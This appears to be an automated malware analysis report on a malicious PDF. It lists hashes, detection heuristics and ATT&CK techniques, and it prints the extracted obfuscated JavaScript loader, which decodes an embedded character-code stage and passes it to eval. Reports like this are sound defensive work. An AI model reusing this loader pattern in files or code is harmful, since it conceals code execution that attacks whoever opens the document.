Malicious PDF — malware analysis report

Static analysis result for SHA-256 8d11e84b4c49249b…

MALICIOUS

PDF

45.4 KB First seen: 2013-09-08
MD5: 36ce6065785b4aa3c250b57da6bc6076 SHA-1: ce82b582c55070183dd4ebf886a1c138ab83742c SHA-256: 8d11e84b4c49249bad90bb4cd98b6cf60fb0bbdb70e1572a81c030bddf340fd4
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF document was flagged by a machine learning classifier with high confidence as malicious. Static analysis revealed embedded JavaScript, a common technique for exploiting PDF vulnerabilities or initiating malicious actions. The presence of JavaScript actions and embedded JS streams strongly suggests an attempt to execute code upon opening the document. The ML classifier's output of 0.999990 further supports the assessment of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB2CD 451 bytes
SHA-256: 17d4eaf2e06648122ccea41a3cc4ad0a2ce9d69e6c58a8e52ada25ccf31526f5
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
vxeh='';
trvd=('qwrwqr','tit');
e('ikeja=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
dhok=e('String.fr'+ikeja.substr(0,10));
hkryc = e(ikeja.substr(10)['replace'](/u/g,','));
e('k=hkryc.length');
for (i = 0; i < k; i+=2) {
	xep = hkryc[i+1] + ('erybjkerl',hkryc[i]);
	vxeh += dhok(xep);
}
e(vxeh);

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